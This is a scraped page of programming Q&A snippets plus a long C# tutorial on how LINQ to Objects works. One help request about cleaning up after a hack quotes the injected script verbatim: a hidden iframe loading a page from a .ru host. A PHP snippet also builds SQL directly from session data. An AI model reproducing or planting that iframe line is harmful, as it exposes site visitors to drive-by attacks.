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  • Remove duplicates in a linked list before adding - C

    - by DesperateCoders
    Hi, My question is about removing duplicates from a linked list. But i want to do it before adding to linked list. struct myStr{int number; mystr *next;} void append(mystr **q,int item) { myStr *temp; temp = *q; myStr *newone; if(*q==NULL)// There should be control of previous elements. Call of keysearch function. { temp = (myStr *)malloc(sizeof(myStr)); temp->number =size; temp->next=NULL; *q=temp; } else //And also here { temp = *q; while(temp->next !=NULL) { temp=temp->next; } newone = (myStr *)malloc(sizeof(myStr)); newone->count = size; newone->next=NULL; temp->next=newone; } } int keysearch (myStr *p) { struct myStr *temp = p; int found = 0; int key= p->number; while (temp->number != NULL) { if(temp->number == key) { found = 1; } temp = temp->next; } return found; } My problem is in keySearch. I don't know what is wrong? Or is there another way for doing this.

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  • Index outof range? Automatica generate field .How to manipulate GridView2.Columns as BoundField;

    - by mike
    Index outof range?GridView2.Columns[6] as BoundField I use Automatica generate field . How to manipulate GridView2.Columns as BoundField with auto-generate feather? JobPostDataContext db = new JobPostDataContext(); var query = from j in db.JobLists join u in db.UserLists on j.UserID equals u.UserID where j.JobTitle.Contains(this.TextBox1.Text) select new { j.JobID, j.JobTitle, j.Summary, j.Details, j.CompanyName, j.CompanyEmail, j.DatePosted, j.UserID, u.City, u.State, u.Country }; GridView2.DataSource = query; GridView2.DataBind(); BoundField DatePosted = GridView2.Columns[6] as BoundField; DatePosted.DataFormatString = "{0:MMM,dd yy}";

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  • Visual Basic 2013 String Replacement

    - by user3707612
    I found this code that replaces a string in a text file. But, I am trying to make it so that it replaces several strings in a text file. My.Computer.FileSystem.WriteAllText("C:\windows\PrinterList2.txt", My.Computer.FileSystem.ReadAllText("C:\windows\PrinterList.txt").Replace("IT", "ADM-IT"), False) For example, I need it to replace "IT" with "ADM-IT" and "AR" with "ADM-AR" and possibly a hundred or so more. How can I get it to loop to do them all? Running this line of code over and over just overwrites the file with the last item for replacement. Thanks in advance.

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  • How to scramble string C#?

    - by a_Elnajjar
    I write the code to scramble word I am create simple game jumble string jumble = theWord; int length = jumble.Count(); for (int i = 0; i < length; ++i) { int index1 = (rand.Next() % length); int index2 = (rand.Next() % length); char temp =jumble[index1]; jumble = jumble.Replace(jumble[index1], jumble[index2]); jumble = jumble.Replace(jumble[index1], temp); }

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  • Array to string conversion in (cant get it to work)

    - by user2966551
    ok I am trying to pull a a specific row of data that corresponds to the username logged in. on my page I have started my session but for some reason I cant get the code to work.i keep getting a "Array to string conversion in " on the line " WHERE username = '$_SESSION[user]'");" what am I doing wrong? if I set username = a set username it works but I need it to draw from the session id so it will display different values based on whos logged in. <?php $con=mysqli_connect("localhost","root","xxx","xxxx"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $result = mysqli_query($con,"SELECT * FROM users WHERE username = '$_SESSION[user]'"); while($row = mysqli_fetch_array($result)) { echo $row['username'] . " " . $row['att']; echo "<br>"; } ?>

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  • Putting a variable inside a string (python)

    - by Gish
    Hi I am quite new to python and this is probably quite a basic question but the help would be much appreciated. I would like to put an int within a string. This is what I am doing at the moment.. end = smooth(data,window_len=40) plot.plot(time[0:len(end)],end) plot.savefig('hanning(40).pdf') #problem line I have to run the program for several different numbers instead of the two 40's. So I'd like to do a loop but inserting the variable like this doesn't work: plot.savefig('hanning',num,'.pdf') Thanks!

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  • C++ - Implementing my own stream

    - by HardCoder1986
    Hello! My problem can be described the following way: I have some data which actually is an array and could be represented as char* data with some size I also have some legacy code (function) that takes some abstract std::istream object as a param and uses that stream to retrieve data to operate. So, my question is the following - what would be the easy way to map my data to some std::istream object so that I can pass it to my function? I thought about creating a std::stringstream object from my data, but that means copying and (as I assume) isn't the best solution. Any ideas how this could be done so that my std::istream operates on the data directly? Thank you.

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  • Python: Open() using a variable

    - by nuustik
    Good day, I've ran into a problem with opening a file with randomly generated name in Python 2.6. import random random = random.randint(1,10) localfile = file("%s","wb") % random Then I get an error message about the last line TypeError: unsupported operand type(s) for %: 'file' and 'int' I just couldn't figure this out by myself nor with Google, but there has to be a cure for this, I believe. Thanks.

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  • Insertion into BST without header Node JAVA

    - by Petiatil
    I am working on a recursive insertion method for a BST. This function is suppose to be a recursive helper method and is in a private class called Node. The Node class is in a class called BinarySearchTree which contains an instance variable for the root. When I am trying to insert an element, I get a NullPointerException at : this.left = insert(((Node)left).element); I am unsure about why this occurs. If I understand correctly, in a BST, I am suppose to insert the item at the last spot on the path transversed. Any help is appreciated! private class Node implements BinaryNode<E> { E item; BinaryNode<E> left, right; public BinaryNode<E> insert(E item) { int compare = item.compareTo(((Node)root).item); if(root == null) { root = new Node(); ((Node)root).item = item; } else if(compare < 0) { this.left = insert(((Node)left).item); } else if(compare > 0) { this.right = insert(((Node)right).item); } return root; } }

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  • delphi remove . and .. from path

    - by user80003
    Hello everyone. How can I remove the . and .. from a path in Delphi (not using .NET). I need a function, so I can pass it something like 'c:\program files..\program files...', and I want the function to return to me 'c:\'. Can Delphi do that on its own? Or do I need to do it myself?

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  • Comparing the values of two nsstrings

    - by user1776234
    So I have been trying to compare two NSStrings in xcode. However, it is not working. What am I doing wrong? NSString Prog are characters that are xml parsed from mysql char *cStr = "YES"; NSString *str3 = [NSString stringWithUTF8String:cStr]; if ([str3 isEqualToString:prog]) { [switch1 setOn:YES animated:YES]; } else { [switch1 setOn:NO animated:YES]; }

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  • Using sed to delete string

    - by wired
    I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

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  • [JAVA]Int to String COmmand

    - by Jack.
    I'm trying to make a piece of code that will yell out anything I input. So the command is 'yell' I want to be able to type 'yell (whatever i want here)' and it will yell it out. I've been able to do it with numbers but I can't do it with a String. So how can I go about that? int x = Integer.valueOf(cmd[1]); n.setNextForceTalk(new ForceTalk("Number: " + x)); That piece of code allows me to type 'yell (number)' and it will come out with whatever number I type. But how can I do it with text.

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  • Need help finding a unique value in array

    - by bardockyo
    My code is complete minus one little flaw. It searches the array and prints out which values are unique, however it always counts the first entry as unique even if it is followed by the same value. Can anyone look at my code and tell me which part is messing this up because it is driving me crazy. #include <stdio.h> #define size 7 int main(void) { int array1[size], target, answer, found, x, k, prev, count =1, i; printf("Please input %d integers: ", size); scanf("%d", &target); for(x = 0; x < size; x++) { scanf("%d", &array1[x]); } prev = array1[0]; for (i = 1; i < size; i++) { if (array1[i] == prev) { count++; } else { if (count < 2) printf("%d=%d\n", prev, count); prev = array1[i]; count = 1; } } if (count < 2) { printf("%d=%d\n", prev, count); } return 0; }

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  • comparision of strings

    - by EmiLazE
    i am writing a program, that simulates game mastermind. but i am struggling on how to compare guessed pattern to key pattern. the game conditions are a little bit changed: patterns consist of letters. if an element of guessed pattern is equal to element of key pattern, and also index is equal, then print b. if an element of guessed pattern is equal to element of key pattern, but index is not, then print w. if an element of guessed pattern is not equal to element of key pattern, print dot. in feedback about guessed pattern, 'b's come first, 'w's second, '.'s last. my problem is that i cannot think of a way totally satisfies the answer. for (i=0; i<patternlength; i++) { for (x=0; x<patternlength; x++) { if (guess[i]==key[x] && i==x) printf("b"); if (guess[i]==key[x] && i!=x) printf("w"); if (guess[i]!=key[x]) printf("."); } }

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  • Problem with RewriteCond %{QUERY_STRING}, backreference not dispaying in final URL

    - by eb_Dev
    Hi, I have the following in my .htaccess file: RewriteCond %{QUERY_STRING} ^route\=product\/category\&path\=35\&page\=([0-9]+)$ RewriteRule ^index.php$ http://%{HTTP_HOST}/product/category/35/page_$1? [R=301,L] It's not behaving as expected though, when I enter the URL: http://mywebsite.com/index.php?route=product/category&path=35&page=2 It gets rewritten to: http://mywebsite.com/product/category/35/page_ Could someone tell me what I have done wrong please? Thanks, eb_dev

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  • SQL Server 05, which is optimal, LIKE %<term>% or CONTAINS() for searching large column

    - by Spud1
    I've got a function written by another developer which I am trying to modify for a slightly different use. It is used by a SP to check if a certain phrase exists in a text document stored in the DB, and returns 1 if the value is found or 0 if its not. This is the query: SELECT @mres=1 from documents where id=@DocumentID and contains(text, @search_term) The document contains mostly XML, and the search_term is a GUID formatted as an nvarchar(40). This seems to run quite slowly to me (taking 5-6 seconds to execute this part of the process), but in the same script file there is also this version of the above, commented out. SELECT @mres=1 from documents where id=@DocumentID and textlike '%' + @search_term + '%' This version runs MUCH quicker, taking 4ms compared to 15ms for the first example. So, my question is why use the first over the second? I assume this developer (who is no longer working with me) had a good reason, but at the moment I am struggling to find it.. Is it possibly something to do with the full text indexing? (this is a dev DB I am working with, so the production version may have better indexing..) I am not that clued up on FTI really so not quite sure at the moment. Thoughts/ideas?

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  • ?asting String to Time makes 01:00:00

    - by kawtousse
    Hi everyone, when i do the following: String start = request.getParameter("startp"); SimpleDateFormat sdf = new SimpleDateFormat("hh:mm:ss"); long ms=0; try { ms = sdf.parse(start).getTime(); } catch (ParseException e1) { e1.printStackTrace(); } Time ts = new Time(ms); it is inserted with this value 01:00:00 witch is not the correct one (entered by user). I didn't undertstand the error here. Please help. Thanks

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  • ????????s in my generated PDF

    - by gAMBOOKa
    I'm getting ???????? characters in my PDF, i've stripped out \r\n \r \n \t, trimmed everything, decoded html entities and stripped tags. Nothing helps. The data is coming from a MySQL database. Any help would be appreciated.

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  • How LINQ to Object statements work

    - by rajbk
    This post goes into detail as to now LINQ statements work when querying a collection of objects. This topic assumes you have an understanding of how generics, delegates, implicitly typed variables, lambda expressions, object/collection initializers, extension methods and the yield statement work. I would also recommend you read my previous two posts: Using Delegates in C# Part 1 Using Delegates in C# Part 2 We will start by writing some methods to filter a collection of data. Assume we have an Employee class like so: 1: public class Employee { 2: public int ID { get; set;} 3: public string FirstName { get; set;} 4: public string LastName {get; set;} 5: public string Country { get; set; } 6: } and a collection of employees like so: 1: var employees = new List<Employee> { 2: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 3: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 4: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 5: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" }, 6: }; Filtering We wish to  find all employees that have an even ID. We could start off by writing a method that takes in a list of employees and returns a filtered list of employees with an even ID. 1: static List<Employee> GetEmployeesWithEvenID(List<Employee> employees) { 2: var filteredEmployees = new List<Employee>(); 3: foreach (Employee emp in employees) { 4: if (emp.ID % 2 == 0) { 5: filteredEmployees.Add(emp); 6: } 7: } 8: return filteredEmployees; 9: } The method can be rewritten to return an IEnumerable<Employee> using the yield return keyword. 1: static IEnumerable<Employee> GetEmployeesWithEvenID(IEnumerable<Employee> employees) { 2: foreach (Employee emp in employees) { 3: if (emp.ID % 2 == 0) { 4: yield return emp; 5: } 6: } 7: } We put these together in a console application. 1: using System; 2: using System.Collections.Generic; 3: //No System.Linq 4:  5: public class Program 6: { 7: [STAThread] 8: static void Main(string[] args) 9: { 10: var employees = new List<Employee> { 11: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 12: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 13: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 14: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" }, 15: }; 16: var filteredEmployees = GetEmployeesWithEvenID(employees); 17:  18: foreach (Employee emp in filteredEmployees) { 19: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 20: emp.ID, emp.FirstName, emp.LastName, emp.Country); 21: } 22:  23: Console.ReadLine(); 24: } 25: 26: static IEnumerable<Employee> GetEmployeesWithEvenID(IEnumerable<Employee> employees) { 27: foreach (Employee emp in employees) { 28: if (emp.ID % 2 == 0) { 29: yield return emp; 30: } 31: } 32: } 33: } 34:  35: public class Employee { 36: public int ID { get; set;} 37: public string FirstName { get; set;} 38: public string LastName {get; set;} 39: public string Country { get; set; } 40: } Output: ID 2 First_Name Jim Last_Name Ashlock Country UK ID 4 First_Name Jill Last_Name Anderson Country AUS Our filtering method is too specific. Let us change it so that it is capable of doing different types of filtering and lets give our method the name Where ;-) We will add another parameter to our Where method. This additional parameter will be a delegate with the following declaration. public delegate bool Filter(Employee emp); The idea is that the delegate parameter in our Where method will point to a method that contains the logic to do our filtering thereby freeing our Where method from any dependency. The method is shown below: 1: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 2: foreach (Employee emp in employees) { 3: if (filter(emp)) { 4: yield return emp; 5: } 6: } 7: } Making the change to our app, we create a new instance of the Filter delegate on line 14 with a target set to the method EmployeeHasEvenId. Running the code will produce the same output. 1: public delegate bool Filter(Employee emp); 2:  3: public class Program 4: { 5: [STAThread] 6: static void Main(string[] args) 7: { 8: var employees = new List<Employee> { 9: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 10: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 11: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 12: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 13: }; 14: var filterDelegate = new Filter(EmployeeHasEvenId); 15: var filteredEmployees = Where(employees, filterDelegate); 16:  17: foreach (Employee emp in filteredEmployees) { 18: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 19: emp.ID, emp.FirstName, emp.LastName, emp.Country); 20: } 21: Console.ReadLine(); 22: } 23: 24: static bool EmployeeHasEvenId(Employee emp) { 25: return emp.ID % 2 == 0; 26: } 27: 28: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 29: foreach (Employee emp in employees) { 30: if (filter(emp)) { 31: yield return emp; 32: } 33: } 34: } 35: } 36:  37: public class Employee { 38: public int ID { get; set;} 39: public string FirstName { get; set;} 40: public string LastName {get; set;} 41: public string Country { get; set; } 42: } Lets use lambda expressions to inline the contents of the EmployeeHasEvenId method in place of the method. The next code snippet shows this change (see line 15).  For brevity, the Employee class declaration has been skipped. 1: public delegate bool Filter(Employee emp); 2:  3: public class Program 4: { 5: [STAThread] 6: static void Main(string[] args) 7: { 8: var employees = new List<Employee> { 9: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 10: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 11: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 12: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 13: }; 14: var filterDelegate = new Filter(EmployeeHasEvenId); 15: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 16:  17: foreach (Employee emp in filteredEmployees) { 18: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 19: emp.ID, emp.FirstName, emp.LastName, emp.Country); 20: } 21: Console.ReadLine(); 22: } 23: 24: static bool EmployeeHasEvenId(Employee emp) { 25: return emp.ID % 2 == 0; 26: } 27: 28: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 29: foreach (Employee emp in employees) { 30: if (filter(emp)) { 31: yield return emp; 32: } 33: } 34: } 35: } 36:  The output displays the same two employees.  Our Where method is too restricted since it works with a collection of Employees only. Lets change it so that it works with any IEnumerable<T>. In addition, you may recall from my previous post,  that .NET 3.5 comes with a lot of predefined delegates including public delegate TResult Func<T, TResult>(T arg); We will get rid of our Filter delegate and use the one above instead. We apply these two changes to our code. 1: public class Program 2: { 3: [STAThread] 4: static void Main(string[] args) 5: { 6: var employees = new List<Employee> { 7: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 8: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 9: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 10: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 11: }; 12:  13: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 14:  15: foreach (Employee emp in filteredEmployees) { 16: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 17: emp.ID, emp.FirstName, emp.LastName, emp.Country); 18: } 19: Console.ReadLine(); 20: } 21: 22: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 23: foreach (var x in source) { 24: if (filter(x)) { 25: yield return x; 26: } 27: } 28: } 29: } We have successfully implemented a way to filter any IEnumerable<T> based on a  filter criteria. Projection Now lets enumerate on the items in the IEnumerable<Employee> we got from the Where method and copy them into a new IEnumerable<EmployeeFormatted>. The EmployeeFormatted class will only have a FullName and ID property. 1: public class EmployeeFormatted { 2: public int ID { get; set; } 3: public string FullName {get; set;} 4: } We could “project” our existing IEnumerable<Employee> into a new collection of IEnumerable<EmployeeFormatted> with the help of a new method. We will call this method Select ;-) 1: static IEnumerable<EmployeeFormatted> Select(IEnumerable<Employee> employees) { 2: foreach (var emp in employees) { 3: yield return new EmployeeFormatted { 4: ID = emp.ID, 5: FullName = emp.LastName + ", " + emp.FirstName 6: }; 7: } 8: } The changes are applied to our app. 1: public class Program 2: { 3: [STAThread] 4: static void Main(string[] args) 5: { 6: var employees = new List<Employee> { 7: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 8: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 9: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 10: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 11: }; 12:  13: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 14: var formattedEmployees = Select(filteredEmployees); 15:  16: foreach (EmployeeFormatted emp in formattedEmployees) { 17: Console.WriteLine("ID {0} Full_Name {1}", 18: emp.ID, emp.FullName); 19: } 20: Console.ReadLine(); 21: } 22:  23: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 24: foreach (var x in source) { 25: if (filter(x)) { 26: yield return x; 27: } 28: } 29: } 30: 31: static IEnumerable<EmployeeFormatted> Select(IEnumerable<Employee> employees) { 32: foreach (var emp in employees) { 33: yield return new EmployeeFormatted { 34: ID = emp.ID, 35: FullName = emp.LastName + ", " + emp.FirstName 36: }; 37: } 38: } 39: } 40:  41: public class Employee { 42: public int ID { get; set;} 43: public string FirstName { get; set;} 44: public string LastName {get; set;} 45: public string Country { get; set; } 46: } 47:  48: public class EmployeeFormatted { 49: public int ID { get; set; } 50: public string FullName {get; set;} 51: } Output: ID 2 Full_Name Ashlock, Jim ID 4 Full_Name Anderson, Jill We have successfully selected employees who have an even ID and then shaped our data with the help of the Select method so that the final result is an IEnumerable<EmployeeFormatted>.  Lets make our Select method more generic so that the user is given the freedom to shape what the output would look like. We can do this, like before, with lambda expressions. Our Select method is changed to accept a delegate as shown below. TSource will be the type of data that comes in and TResult will be the type the user chooses (shape of data) as returned from the selector delegate. 1:  2: static IEnumerable<TResult> Select<TSource, TResult>(IEnumerable<TSource> source, Func<TSource, TResult> selector) { 3: foreach (var x in source) { 4: yield return selector(x); 5: } 6: } We see the new changes to our app. On line 15, we use lambda expression to specify the shape of the data. In this case the shape will be of type EmployeeFormatted. 1:  2: public class Program 3: { 4: [STAThread] 5: static void Main(string[] args) 6: { 7: var employees = new List<Employee> { 8: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 9: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 10: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 11: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 12: }; 13:  14: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 15: var formattedEmployees = Select(filteredEmployees, (emp) => 16: new EmployeeFormatted { 17: ID = emp.ID, 18: FullName = emp.LastName + ", " + emp.FirstName 19: }); 20:  21: foreach (EmployeeFormatted emp in formattedEmployees) { 22: Console.WriteLine("ID {0} Full_Name {1}", 23: emp.ID, emp.FullName); 24: } 25: Console.ReadLine(); 26: } 27: 28: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 29: foreach (var x in source) { 30: if (filter(x)) { 31: yield return x; 32: } 33: } 34: } 35: 36: static IEnumerable<TResult> Select<TSource, TResult>(IEnumerable<TSource> source, Func<TSource, TResult> selector) { 37: foreach (var x in source) { 38: yield return selector(x); 39: } 40: } 41: } The code outputs the same result as before. On line 14 we filter our data and on line 15 we project our data. What if we wanted to be more expressive and concise? We could combine both line 14 and 15 into one line as shown below. Assuming you had to perform several operations like this on our collection, you would end up with some very unreadable code! 1: var formattedEmployees = Select(Where(employees, emp => emp.ID % 2 == 0), (emp) => 2: new EmployeeFormatted { 3: ID = emp.ID, 4: FullName = emp.LastName + ", " + emp.FirstName 5: }); A cleaner way to write this would be to give the appearance that the Select and Where methods were part of the IEnumerable<T>. This is exactly what extension methods give us. Extension methods have to be defined in a static class. Let us make the Select and Where extension methods on IEnumerable<T> 1: public static class MyExtensionMethods { 2: static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 3: foreach (var x in source) { 4: if (filter(x)) { 5: yield return x; 6: } 7: } 8: } 9: 10: static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 11: foreach (var x in source) { 12: yield return selector(x); 13: } 14: } 15: } The creation of the extension method makes the syntax much cleaner as shown below. We can write as many extension methods as we want and keep on chaining them using this technique. 1: var formattedEmployees = employees 2: .Where(emp => emp.ID % 2 == 0) 3: .Select (emp => new EmployeeFormatted { ID = emp.ID, FullName = emp.LastName + ", " + emp.FirstName }); Making these changes and running our code produces the same result. 1: using System; 2: using System.Collections.Generic; 3:  4: public class Program 5: { 6: [STAThread] 7: static void Main(string[] args) 8: { 9: var employees = new List<Employee> { 10: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 11: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 12: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 13: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 14: }; 15:  16: var formattedEmployees = employees 17: .Where(emp => emp.ID % 2 == 0) 18: .Select (emp => 19: new EmployeeFormatted { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: } 23: ); 24:  25: foreach (EmployeeFormatted emp in formattedEmployees) { 26: Console.WriteLine("ID {0} Full_Name {1}", 27: emp.ID, emp.FullName); 28: } 29: Console.ReadLine(); 30: } 31: } 32:  33: public static class MyExtensionMethods { 34: static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 35: foreach (var x in source) { 36: if (filter(x)) { 37: yield return x; 38: } 39: } 40: } 41: 42: static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 43: foreach (var x in source) { 44: yield return selector(x); 45: } 46: } 47: } 48:  49: public class Employee { 50: public int ID { get; set;} 51: public string FirstName { get; set;} 52: public string LastName {get; set;} 53: public string Country { get; set; } 54: } 55:  56: public class EmployeeFormatted { 57: public int ID { get; set; } 58: public string FullName {get; set;} 59: } Let’s change our code to return a collection of anonymous types and get rid of the EmployeeFormatted type. We see that the code produces the same output. 1: using System; 2: using System.Collections.Generic; 3:  4: public class Program 5: { 6: [STAThread] 7: static void Main(string[] args) 8: { 9: var employees = new List<Employee> { 10: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 11: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 12: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 13: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 14: }; 15:  16: var formattedEmployees = employees 17: .Where(emp => emp.ID % 2 == 0) 18: .Select (emp => 19: new { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: } 23: ); 24:  25: foreach (var emp in formattedEmployees) { 26: Console.WriteLine("ID {0} Full_Name {1}", 27: emp.ID, emp.FullName); 28: } 29: Console.ReadLine(); 30: } 31: } 32:  33: public static class MyExtensionMethods { 34: public static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 35: foreach (var x in source) { 36: if (filter(x)) { 37: yield return x; 38: } 39: } 40: } 41: 42: public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 43: foreach (var x in source) { 44: yield return selector(x); 45: } 46: } 47: } 48:  49: public class Employee { 50: public int ID { get; set;} 51: public string FirstName { get; set;} 52: public string LastName {get; set;} 53: public string Country { get; set; } 54: } To be more expressive, C# allows us to write our extension method calls as a query expression. Line 16 can be rewritten a query expression like so: 1: var formattedEmployees = from emp in employees 2: where emp.ID % 2 == 0 3: select new { 4: ID = emp.ID, 5: FullName = emp.LastName + ", " + emp.FirstName 6: }; When the compiler encounters an expression like the above, it simply rewrites it as calls to our extension methods.  So far we have been using our extension methods. The System.Linq namespace contains several extension methods for objects that implement the IEnumerable<T>. You can see a listing of these methods in the Enumerable class in the System.Linq namespace. Let’s get rid of our extension methods (which I purposefully wrote to be of the same signature as the ones in the Enumerable class) and use the ones provided in the Enumerable class. Our final code is shown below: 1: using System; 2: using System.Collections.Generic; 3: using System.Linq; //Added 4:  5: public class Program 6: { 7: [STAThread] 8: static void Main(string[] args) 9: { 10: var employees = new List<Employee> { 11: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 12: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 13: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 14: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 15: }; 16:  17: var formattedEmployees = from emp in employees 18: where emp.ID % 2 == 0 19: select new { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: }; 23:  24: foreach (var emp in formattedEmployees) { 25: Console.WriteLine("ID {0} Full_Name {1}", 26: emp.ID, emp.FullName); 27: } 28: Console.ReadLine(); 29: } 30: } 31:  32: public class Employee { 33: public int ID { get; set;} 34: public string FirstName { get; set;} 35: public string LastName {get; set;} 36: public string Country { get; set; } 37: } 38:  39: public class EmployeeFormatted { 40: public int ID { get; set; } 41: public string FullName {get; set;} 42: } This post has shown you a basic overview of LINQ to Objects work by showning you how an expression is converted to a sequence of calls to extension methods when working directly with objects. It gets more interesting when working with LINQ to SQL where an expression tree is constructed – an in memory data representation of the expression. The C# compiler compiles these expressions into code that builds an expression tree at runtime. The provider can then traverse the expression tree and generate the appropriate SQL query. You can read more about expression trees in this MSDN article.

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